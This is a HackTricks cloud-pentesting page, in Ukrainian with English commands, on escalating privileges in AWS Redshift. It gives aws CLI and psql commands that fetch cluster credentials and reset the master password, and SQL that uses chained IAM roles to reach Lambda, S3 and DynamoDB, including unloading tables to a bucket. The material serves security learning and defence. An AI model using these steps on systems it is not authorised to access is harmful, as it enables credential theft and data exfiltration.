AWS - Redshift Privesc
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Redshift
Для отримання додаткової інформації про RDS перегляньте:
redshift:DescribeClusters
, redshift:GetClusterCredentials
З цими дозволами ви можете отримати інформацію про всі кластери (включаючи назву та ім'я користувача кластера) та отримати облікові дані для доступу до нього:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Потенційний вплив: Знайти чутливу інформацію в базах даних.
redshift:DescribeClusters
, redshift:GetClusterCredentialsWithIAM
З цими дозволами ви можете отримати інформацію про всі кластери та отримати облікові дані для доступу до них.
Зверніть увагу, що користувач postgres матиме дозволи, які має IAM-ідентичність, використана для отримання облікових даних.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Потенційний вплив: Знайти чутливу інформацію в базах даних.
redshift:DescribeClusters
, redshift:ModifyCluster?
Можливо змінити майстер-пароль внутрішнього користувача postgres (redshift) з aws cli (я думаю, що це ті дозволи, які вам потрібні, але я ще не тестував їх):
aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
Потенційний вплив: Знайти чутливу інформацію в базах даних.
Доступ до зовнішніх сервісів
warning
Щоб отримати доступ до всіх наступних ресурсів, вам потрібно вказати роль для використання. Кластер Redshift може мати призначений список ролей AWS, які ви можете використовувати якщо знаєте ARN, або ви можете просто встановити "default", щоб використовувати призначену за замовчуванням.
Більше того, як пояснено тут, Redshift також дозволяє конкатенувати ролі (якщо перша може прийняти другу), щоб отримати подальший доступ, просто розділяючи їх комою:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Лямбди
Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, можливо викликати функцію лямбда з redshift з чимось на зразок:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, можливо читати та записувати в S3 бакети:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Як пояснено в https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, можливо отримати дані з dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
warning
Таблиця Amazon DynamoDB, яка надає дані, повинна бути створена в тому ж регіоні AWS, що й ваш кластер, якщо ви не використовуєте опцію REGION для вказівки регіону AWS, в якому розташована таблиця Amazon DynamoDB.
EMR
Перевірте https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
References
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.